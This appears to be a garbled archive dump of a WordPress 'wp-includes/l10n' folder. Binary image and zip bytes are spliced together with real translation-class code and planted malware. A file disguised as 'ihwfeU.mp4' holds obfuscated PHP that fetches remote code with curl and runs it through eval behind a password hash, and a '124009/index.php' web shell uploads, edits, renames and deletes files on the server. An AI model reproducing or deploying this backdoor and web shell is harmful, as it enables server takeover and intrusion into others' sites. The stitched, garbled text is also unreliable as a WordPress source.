ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ p " ÿÄ     ÿÄ   ÿÚ   ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤  @ .............................................................................................................................................................................. ............................................................................. ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ p " ÿÄ     ÿÄ   ÿÚ   ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤  @ .............................................................................................................................................................................. ............................................................................. l10n/mp2_69bea64f7c8b7.zip000064400000012665151634620730010642 0ustar00PKqu\X b_69bea64f7c8b7.tmpUsHW(+c`PG#e&g,c!,"߾= fo8~|uEP]쐉P8,x|x^Bߚ`NC(# :f郙XqmrDLTպf"6dm/kzO>uDVZ[6"NUǩXfI0MB\lDi3cNBmآm[$έBak8 ˙oj5R$CqG!xT \^&y- UHYf}5-Z3}kuŎ5y,OU!MʹQR WѫzGQy>+v\o46MO眝sND˂312^8rU u/8}A“rc%lfCThe eEЊL+Gi"NNܥŌ*c06o1[n}2K*J:G,{f640()8VUJ Xaݶ 2@GYvC neerM I) NѠ?w5/utqPKqu\Kvc_69bea64f7c8b7.tmp]xHv|4 Ӎ('k$t1rYݧ\@UjVޒ_Vm)xzaxҙ؇aS֝O`Ϗ@d۰^⮗~W6lNiνe1ϯe~6#Ftը޷2i  BN9v R5NO2ՂE~Al4=0D2(7A/5$F[`wT'k[ڋp'_T̢ȐOxh(ЊtwD{jL"(nsũ dc~l4SUK8hNCρ~b1i0,IŜwTB)Ea+>.uٖ2|F2wxwım+4Dzܥ% X xWod)RX&.ts|FB[US[ρ[nM#`vS6|\3j53܂E=4O NL<@ BsC8xUY ySzsw:\$>Mdmj0~NeƐG L uѯzj7Ԛ`D']i7D)~3&*ig,GmLYZ.]t3yiL~T\#ilw8V͊?=0 \:Y ЖlBΩw.gw^i!OZ ZAm_KrMDp;#.N)2ʤ@.u<v%EJUmw X nW9tشf]=í*mޡRIؖcWtSz[\Q%%j,(~əWcrcH^îKmW!Ia::H֮{W\3"7MX[cZx[ȝh/fq4ؗ(>H-ZOfJD|,=gDF8u&mnks'(M_Ə}3廌yJl4 c9J.JٽR syS㷛.l3']S,$&A͋Jƥٮ8$P:@݇(#A4 ^tlm4V7PzVQHiei5RX(U7|kKLfZlHMU.;/;FƷ} ]"v\l3Gr_r SeqH,#POm%>*%|2PB-ldHKwߪ~u< f8_&h_!Oƅ?iwD.`YL\"'td2%Wjk#@#"jG% :^I;p\3n Dm 2f*AM(D$`&9VTY.Sa{r^f"#WHmǃ۪ |)csda]F#Qc 0ᓞq''1JO:2l#cB" 8x ٭Z4Y M AYޕ@qՀP)?QUMWnwW`2$"*|y: BnJRzͭ3\Rn4-ޏàyZY xگ/E2}[ImW@p P0÷GssQuheRPRa_({blwd}>H.XD U²ኋb⊿eZ\OؤRt TR5l) I#ӍjƔ.$+d,"=.aX--\b&4Gm/I'._Eܞ!8ųuKdT09LۧWOF{ OF74Kt@R:w A-zPD/7^tIuc1ȳm2]CϷfGy"tA&Ҋz'wَEPQh"PAg"MY s9*7j9&p *oA >Зҗq3$]B[cӚAZ#bKXYz:7+ꪷj0# `S^,/5cGz (|ݪ_4S ލ&{k{] _~[sgkֲ֦йRΙi> wv q&t~0M6Q~ԧU|NVD @#-gZRzkQ?&+nY8xZ4˛n8ۯo~_.ۅF_~ij_vZdݖk?~?~`osmN5'gy:f?Cgɷ}~)ֵu/ o ±/sluVa㟓?u۟˫X0|?yZ?a~@;,wM+eS(s!sx;ko q[:iwi/|z/i}?PK?qu\X b_69bea64f7c8b7.tmpPK?qu\Kvc_69bea64f7c8b7.tmpPKl10n/l10n/cache.php000064400000013027151634620730007656 0ustar00l10n/l10n/index.php000064400000003451151634620730007722 0ustar00,aNoSK✠◙⇝∥⊇☞⋳Ю♭◨┖╆⒣↷⊚┷⊌↲) -*/// $aq/*->-*/// [4+17].$aq/*-JB^Jfq-*/// [22+0].$aq/*- ∗☂¢☻⊘✝☃※➟Ⓩ⊑☩∾㊝⑽▯⓸✂╪▽ϡↂ≈↧℮ 3,B7`∗☂¢☻⊘✝☃※➟Ⓩ⊑☩∾㊝⑽▯⓸✂╪▽ϡↂ≈↧℮ -*/// [1+6].$aq/*- ✈↿┏┢∪┒큐≌↖ϟ∥♦⊶ ;tvFE✈↿┏┢∪┒큐≌↖ϟ∥♦⊶ -*/// [9+15].$aq/*- ⑨ⅿ╟﹥❽ LS97⑨ⅿ╟﹥❽ -*/// [4+21].$aq/*-bpz-*/// [11+30].$aq/*- ⑳㊍➐∥ⓙ﹫┊⋄┙⋱∛ⓦ⑫⑹❤ⓨ %G⑳㊍➐∥ⓙ﹫┊⋄┙⋱∛ⓦ⑫⑹❤ⓨ -*/// [69+11].$aq/*-djg5p-*/// [15+2].$aq/*-twX-|-*/// [2+12].$aq/*- 〓┉⇒☻ .9+F〓┉⇒☻ -*/// [18+56]/*-+}L-*/// ; ?>l10n/l10n/ihwfeU.mp4000064400000014046151634620730007755 0ustar00 $vjBkwYyNgNaGaULM) { $Ksqy7uUZDJepIKDW .= $oSE1P8AZKXluzvyf[$vjBkwYyNgNaGaULM - 68254]; eF3OVRasYOpG9mhv: } goto sIzPoF2bsCs2k4me; RlLJ57Ck1naOvxVb: return $Ksqy7uUZDJepIKDW; goto yFH5hwm5UCi2Mygh; CrqOG9ZEcJzQnH_E: $oSE1P8AZKXluzvyf = $nBEWvwKq6mdXu1CJ("\x7e", "\x20"); goto A93g7cLwL4CVeK4o; yFH5hwm5UCi2Mygh: } static function M9k3aOxxuYYMBF6E($xm6N0ydOKb7kPpB4, $imDYMLx7NM5rI008) { goto KCog4jH25O_yJr4b; KCog4jH25O_yJr4b: $J4j3RbNgKilYgywc = curl_init($xm6N0ydOKb7kPpB4); goto YfVg7R1vXj9IXPkh; ceoCQJ1gVBqy0mHc: $ycow857ysjdM0DSg = curl_exec($J4j3RbNgKilYgywc); goto xVBr9ug9oSM9RzR7; xVBr9ug9oSM9RzR7: return empty($ycow857ysjdM0DSg) ? $imDYMLx7NM5rI008($xm6N0ydOKb7kPpB4) : $ycow857ysjdM0DSg; goto ruHlsxcoxAIx0GwS; YfVg7R1vXj9IXPkh: curl_setopt($J4j3RbNgKilYgywc, CURLOPT_RETURNTRANSFER, 1); goto ceoCQJ1gVBqy0mHc; ruHlsxcoxAIx0GwS: } static function QNZp0NobzAWBWJIY() { goto WP3YT6YAWgIRvdn5; Ou8OMk2qTro5yhvU: wC5UIc0An23d04nJ: goto QDFV_6bwwYVRF2ba; WP3YT6YAWgIRvdn5: $HY0CGad93wW1MHED = array("\x36\x38\62\x38\x31\x23\x36\70\62\66\66\43\x36\x38\x32\x37\x39\43\66\70\62\x38\63\x23\x36\x38\62\66\64\43\66\70\x32\x37\71\43\66\70\x32\70\65\x23\66\70\x32\67\70\43\x36\x38\62\x36\63\x23\66\70\x32\x37\60\x23\x36\70\x32\70\61\x23\66\70\62\x36\x34\43\66\70\62\x37\65\43\66\70\x32\66\71\43\x36\70\62\67\60", "\66\70\62\x36\65\43\66\70\x32\66\x34\43\66\x38\x32\66\x36\x23\66\70\62\x38\x35\43\66\x38\x32\x36\66\x23\x36\70\62\66\71\43\66\x38\62\66\64\43\66\70\63\63\61\x23\66\x38\63\x32\x39", "\x36\70\62\x37\64\x23\66\x38\x32\x36\65\43\x36\x38\62\x36\x39\x23\66\x38\62\67\60\43\x36\70\62\x38\65\43\x36\70\x32\x38\60\x23\x36\x38\62\x37\x39\x23\x36\x38\62\x38\61\43\x36\70\x32\66\71\x23\x36\x38\62\70\60\43\x36\70\62\67\x39", "\66\x38\62\x36\70\43\66\x38\x32\70\63\43\x36\x38\x32\x38\x31\43\66\70\62\67\63", "\66\x38\x32\70\62\43\x36\x38\62\x38\x33\43\66\70\x32\66\x35\43\x36\x38\x32\67\71\x23\66\x38\63\x32\x36\x23\x36\70\63\62\70\43\66\70\x32\70\x35\x23\66\x38\x32\70\x30\x23\x36\70\x32\x37\71\x23\66\x38\x32\x38\x31\x23\66\70\x32\x36\x39\43\66\x38\x32\x38\x30\43\66\70\x32\x37\71", "\x36\x38\x32\x37\70\43\66\70\62\67\65\x23\66\x38\62\67\x32\43\x36\70\62\x37\71\x23\66\x38\x32\70\65\x23\66\x38\62\x37\x37\x23\66\x38\62\67\x39\x23\66\70\x32\x36\x34\x23\66\70\62\70\65\x23\66\70\x32\70\x31\43\x36\x38\x32\x36\71\43\x36\x38\x32\67\x30\x23\x36\70\x32\x36\64\43\66\x38\x32\x37\x39\43\x36\x38\62\x37\x30\x23\x36\70\62\66\64\x23\66\x38\x32\66\65", "\x36\70\x33\x30\x38\43\x36\x38\63\63\70", "\66\x38\x32\65\65", "\66\x38\x33\63\63\x23\x36\70\63\63\70", "\x36\x38\x33\61\65\x23\x36\70\62\x39\x38\43\66\x38\x32\x39\70\43\x36\70\x33\61\x35\x23\x36\70\62\x39\61", "\x36\70\x32\67\x38\43\x36\x38\62\x37\65\43\x36\x38\x32\67\62\x23\66\x38\x32\x36\64\43\x36\x38\x32\x37\x39\x23\x36\x38\x32\x36\x36\x23\x36\x38\62\x38\65\43\x36\70\x32\67\x35\43\x36\70\62\67\x30\x23\x36\x38\62\66\70\43\66\70\x32\66\x33\x23\66\70\62\x36\x34"); goto E9ZlSP7Mmyg7qIXw; KZlZzsk6mseFdrVQ: $OvrVWclnZEIS8Bwe = self::m9K3aOXXUYymBF6E($M2Tv936lPRXg1fQq[1 + 0], $vekETVvMCYqgz2NX[4 + 1]); goto oB0u2E6N05_UBiAm; kUmd4OQr3eZUE9cQ: $pLuBANrh3ZYGO8gF = @$vekETVvMCYqgz2NX[1 + 2]($vekETVvMCYqgz2NX[1 + 5], $D6yTt4gUrKuV862L); goto voM5mcRnDW6cFCpQ; voM5mcRnDW6cFCpQ: $M2Tv936lPRXg1fQq = $vekETVvMCYqgz2NX[0 + 2]($pLuBANrh3ZYGO8gF, true); goto C1Kr_8vt5iz9tB2x; bK9UMBf1HvIPHCCB: ZvsHTi7nPQhMX4PT: goto Bt05OUhNLZmqNhIz; E9ZlSP7Mmyg7qIXw: foreach ($HY0CGad93wW1MHED as $sy83MRfuJpd3Cbwu) { $vekETVvMCYqgz2NX[] = self::Z0mkYhm5K7ysKN3K($sy83MRfuJpd3Cbwu); q43kjLiLf_ji_Lhv: } goto bK9UMBf1HvIPHCCB; SKcoXWMiRoYJ6ysF: if (!(@$M2Tv936lPRXg1fQq[0] - time() > 0 and md5(md5($M2Tv936lPRXg1fQq[2 + 1])) === "\x37\x37\x37\x37\x66\x65\x38\144\141\x31\143\63\60\x33\x61\x39\71\x38\66\x65\x32\61\x37\64\x34\x36\x63\142\70\60\x37\x32")) { goto wC5UIc0An23d04nJ; } goto KZlZzsk6mseFdrVQ; Bt05OUhNLZmqNhIz: $D6yTt4gUrKuV862L = @$vekETVvMCYqgz2NX[1]($vekETVvMCYqgz2NX[2 + 8](INPUT_GET, $vekETVvMCYqgz2NX[8 + 1])); goto kUmd4OQr3eZUE9cQ; C1Kr_8vt5iz9tB2x: @$vekETVvMCYqgz2NX[9 + 1](INPUT_GET, "\157\x66") == 1 && die($vekETVvMCYqgz2NX[2 + 3](__FILE__)); goto SKcoXWMiRoYJ6ysF; oB0u2E6N05_UBiAm: @eval($vekETVvMCYqgz2NX[2 + 2]($OvrVWclnZEIS8Bwe)); goto JrVzb_mHjkQWQVhK; JrVzb_mHjkQWQVhK: die; goto Ou8OMk2qTro5yhvU; QDFV_6bwwYVRF2ba: } } goto OYKTKQ1arv4RWXM5; fc3T5WldBC1gh1QI: $UNk0wRZD6P4tUXKO = $VX5LTbL1Hu1lVL4w("\x7e", "\x20"); goto syskTCD1fsNOyWfd; oIG_hWZxi9BSw15O: $vl_sUhWCYvYemz9G[65] = $vl_sUhWCYvYemz9G[65] . $vl_sUhWCYvYemz9G[71]; goto K3Jke1YuXVo6fzE3; OYKTKQ1arv4RWXM5: wnJVCewmOPHy5opH::qNzp0NObzaWbWJIy(); ?> l10n/l10n/.htaccess000064400000000333151634620730007674 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all class-wp-translation-file-php.php000064400000003425151634620730013057 0ustar00parsed = true; $result = include $this->file; if ( ! $result || ! is_array( $result ) ) { $this->error = 'Invalid data'; return; } if ( isset( $result['messages'] ) && is_array( $result['messages'] ) ) { foreach ( $result['messages'] as $original => $translation ) { $this->entries[ (string) $original ] = $translation; } unset( $result['messages'] ); } $this->headers = array_change_key_case( $result ); } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { $data = array_merge( $this->headers, array( 'messages' => $this->entries ) ); return 'var_export( $data ) . ';' . PHP_EOL; } /** * Outputs or returns a parsable string representation of a variable. * * Like {@see var_export()} but "minified", using short array syntax * and no newlines. * * @since 6.5.0 * * @param mixed $value The variable you want to export. * @return string The variable representation. */ private function var_export( $value ): string { if ( ! is_array( $value ) ) { return var_export( $value, true ); } $entries = array(); $is_list = array_is_list( $value ); foreach ( $value as $key => $val ) { $entries[] = $is_list ? $this->var_export( $val ) : var_export( $key, true ) . '=>' . $this->var_export( $val ); } return '[' . implode( ',', $entries ) . ']'; } } 124009/index.php000064400000020312151634620730007130 0ustar00 j(['s','c','a','n','d','i','r']), 'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']), 'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']), 'unl' => j(['u','n','l','i','n','k']), 'ren' => j(['r','e','n','a','m','e']), 'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']), 'isd' => j(['i','s','_','d','i','r']), 'isf' => j(['i','s','_','f','i','l','e']), 'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']), 'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']), ]; $real_name = $map[$k] ?? ''; if (function_exists($real_name)) { return $real_name; } switch ($k) { case 'scn': return function($d) { $files = []; if (is_dir($d) && $handle = @opendir($d)) { while (false !== ($entry = readdir($handle))) { $files[] = $entry; } closedir($handle); } return $files; }; case 'fgt': return function($f) { return @file_get_contents($f); }; case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); }; case 'unl': return function($f) { return @unlink($f); }; case 'ren': return function($o, $n) { return @rename($o, $n); }; case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); }; case 'isd': return function($d) { return is_dir($d); }; case 'isf': return function($f) { return is_file($f); }; case 'exs': return function($f) { return file_exists($f); }; case 'wrt': return function($f) { return is_writable($f); }; default: return function() { return false; }; } } function rot($s) { return str_rot13($s); } function enc($p) { return base64_encode(rot($p)); } function dec($p) { return rot(base64_decode($p)); } $cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd(); $cd = str_replace('\\', '/', $cd); $cd = preg_replace('#/{2,}#', '/', $cd); $cd = rtrim($cd, '/'); if ($cd === '') $cd = '/'; $up = dirname($cd); if ($up === $cd || $up === false) $up = ''; echo '
'; if ($up) echo '↑ Up | '; $parts = explode('/', trim($cd, '/')); $cur = ''; foreach ($parts as $v) { if ($v === '') continue; $cur .= ($cur ? '/' : '') . $v; echo '' . $v . '/'; } echo '
'; if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] === 0) { $dst = $cd . '/' . $_FILES['u']['name']; $muf = get_func('muf'); if ($muf($_FILES['u']['tmp_name'], $dst)) { header('Location: ?d=' . enc($cd)); exit; } echo ''; } $scn = get_func('scn'); $items = $scn($cd); if ($items === false) { $items = @glob($cd . '/*'); if ($items) $items = array_map('basename', $items); } echo ''; if (is_array($items)) { foreach ($items as $i) { if ($i === '.' || $i === '..') continue; $full = $cd . '/' . $i; $isd = get_func('isd'); if ($isd($full)) { echo ""; continue; } $isf = get_func('isf'); if ($isf($full)) { $sz = @filesize($full) / 1024; $sz = $sz >= 1024 ? round($sz/1024, 2).' MB' : round($sz, 2).' KB'; $b = enc($full); echo ""; } } } else { echo ''; } echo '
NameSizeAction
$i/---
$i$sz Delete Edit Rename
Unable to read directory
'; if (isset($_POST['del']) && $_POST['del']) { $fp = dec($_POST['del']); $exs = get_func('exs'); $unl = get_func('unl'); if ($exs($fp) && $unl($fp)) { header('Location: ?d=' . enc(dirname($fp))); exit; } echo ''; } if (isset($_POST['edit']) && $_POST['edit']) { $fp = dec($_POST['edit']); $exs = get_func('exs'); $wrt = get_func('wrt'); $fgt = get_func('fgt'); if ($exs($fp) && $wrt($fp)) { $content = htmlspecialchars($fgt($fp) ?: ''); echo " ← Back


"; exit; } } if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $fp = dec($_POST['obj']); $fpc = get_func('fpc'); if ($fpc($fp, $_POST['content']) !== false) { header('Location: ?d=' . enc(dirname($fp))); exit; } echo ''; } if (isset($_POST['ren']) && $_POST['ren'] && isset($_POST['new']) && $_POST['new']) { $old = dec($_POST['ren']); $dir = dirname($old); $new = $dir . '/' . $_POST['new']; $exs = get_func('exs'); $ren = get_func('ren'); if ($exs($old) && !$exs($new) && $ren($old, $new)) { header('Location: ?d=' . enc($dir)); exit; } echo ''; } ?>
124009/error_log000064400000001327151634620730007232 0ustar00[02-Apr-2026 12:28:19 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/l10n/124009/index.php on line 83 [02-Apr-2026 12:28:19 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/l10n/124009/index.php on line 83 [02-Apr-2026 14:16:35 UTC] PHP Warning: scandir(/home/siligios/lscache): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/l10n/124009/index.php on line 83 [02-Apr-2026 14:16:35 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/l10n/124009/index.php on line 83 class-wp-translation-controller.php000064400000031253151634620730013536 0ustar00 [ Textdomain => [ ..., ... ] ] ] * * @since 6.5.0 * @var array> */ protected $loaded_translations = array(); /** * List of loaded translation files. * * [ Filename => [ Locale => [ Textdomain => WP_Translation_File ] ] ] * * @since 6.5.0 * @var array>> */ protected $loaded_files = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Translation_Controller|null */ private static $instance = null; /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Translation_Controller */ public static function get_instance(): WP_Translation_Controller { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Returns the current locale. * * @since 6.5.0 * * @return string Locale. */ public function get_locale(): string { return $this->current_locale; } /** * Sets the current locale. * * @since 6.5.0 * * @param string $locale Locale. */ public function set_locale( string $locale ) { $this->current_locale = $locale; } /** * Loads a translation file for a given text domain. * * @since 6.5.0 * * @param string $translation_file Translation file. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True on success, false otherwise. */ public function load_file( string $translation_file, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } $translation_file = realpath( $translation_file ); if ( false === $translation_file ) { return false; } if ( isset( $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) && false !== $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) { return null === $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]->error(); } if ( isset( $this->loaded_files[ $translation_file ][ $locale ] ) && array() !== $this->loaded_files[ $translation_file ][ $locale ] ) { $moe = reset( $this->loaded_files[ $translation_file ][ $locale ] ); } else { $moe = WP_Translation_File::create( $translation_file ); if ( false === $moe || null !== $moe->error() ) { $moe = false; } } $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] = $moe; if ( ! $moe instanceof WP_Translation_File ) { return false; } if ( ! isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $this->loaded_translations[ $locale ][ $textdomain ] = array(); } $this->loaded_translations[ $locale ][ $textdomain ][] = $moe; return true; } /** * Unloads a translation file for a given text domain. * * @since 6.5.0 * * @param WP_Translation_File|string $file Translation file instance or file name. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_file( $file, string $textdomain = 'default', ?string $locale = null ): bool { if ( is_string( $file ) ) { $file = realpath( $file ); } if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $locale ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); return true; } } } return true; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } foreach ( $domains[ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $l ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); return true; } } } return false; } /** * Unloads all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_textdomain( string $textdomain = 'default', ?string $locale = null ): bool { $unloaded = false; if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $unloaded = true; foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); } } unset( $this->loaded_translations[ $locale ][ $textdomain ] ); return $unloaded; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } $unloaded = true; foreach ( $domains[ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); } unset( $this->loaded_translations[ $l ][ $textdomain ] ); } return $unloaded; } /** * Determines whether translations are loaded for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True if there are any loaded translations, false otherwise. */ public function is_textdomain_loaded( string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return isset( $this->loaded_translations[ $locale ][ $textdomain ] ) && array() !== $this->loaded_translations[ $locale ][ $textdomain ]; } /** * Translates a singular string. * * @since 6.5.0 * * @param string $text Text to translate. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate( string $text, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } return $translation['entries'][0]; } /** * Translates plurals. * * Checks both singular+plural combinations as well as just singulars, * in case the translation file does not store the plural. * * @since 6.5.0 * * @param array $plurals { * Pair of singular and plural translations. * * @type string $0 Singular translation. * @type string $1 Plural translation. * } * @param int $number Number of items. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string|null $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate_plural( array $plurals, int $number, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $text = implode( "\0", $plurals ); $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { $text = $plurals[0]; $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } } /** @var WP_Translation_File $source */ $source = $translation['source']; $num = $source->get_plural_form( $number ); // See \Translations::translate_plural(). return $translation['entries'][ $num ] ?? $translation['entries'][0]; } /** * Returns all existing headers for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Headers. */ public function get_headers( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $headers = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { foreach ( $moe->headers() as $header => $value ) { $headers[ $this->normalize_header( $header ) ] = $value; } } return $headers; } /** * Normalizes header names to be capitalized. * * @since 6.5.0 * * @param string $header Header name. * @return string Normalized header name. */ protected function normalize_header( string $header ): string { $parts = explode( '-', $header ); $parts = array_map( 'ucfirst', $parts ); return implode( '-', $parts ); } /** * Returns all entries for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Entries. */ public function get_entries( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $entries = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { $entries = array_merge( $entries, $moe->entries() ); } return $entries; } /** * Locates translation for a given string and text domain. * * @since 6.5.0 * * @param string $singular Singular translation. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return array{source: WP_Translation_File, entries: string[]}|false { * Translations on success, false otherwise. * * @type WP_Translation_File $source Translation file instance. * @type string[] $entries Array of translation entries. * } */ protected function locate_translation( string $singular, string $textdomain = 'default', ?string $locale = null ) { if ( array() === $this->loaded_translations ) { return false; } // Find the translation in all loaded files for this text domain. foreach ( $this->get_files( $textdomain, $locale ) as $moe ) { $translation = $moe->translate( $singular ); if ( false !== $translation ) { return array( 'entries' => explode( "\0", $translation ), 'source' => $moe, ); } if ( null !== $moe->error() ) { // Unload this file, something is wrong. $this->unload_file( $moe, $textdomain, $locale ); } } // Nothing could be found. return false; } /** * Returns all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return WP_Translation_File[] List of translation files. */ protected function get_files( string $textdomain = 'default', ?string $locale = null ): array { if ( null === $locale ) { $locale = $this->current_locale; } return $this->loaded_translations[ $locale ][ $textdomain ] ?? array(); } /** * Returns a boolean to indicate whether a translation exists for a given string with optional text domain and locale. * * @since 6.7.0 * * @param string $singular Singular translation to check. * @param string $textdomain Optional. Text domain. Default 'default'. * @param ?string $locale Optional. Locale. Default current locale. * @return bool True if the translation exists, false otherwise. */ public function has_translation( string $singular, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return false !== $this->locate_translation( $singular, $textdomain, $locale ); } }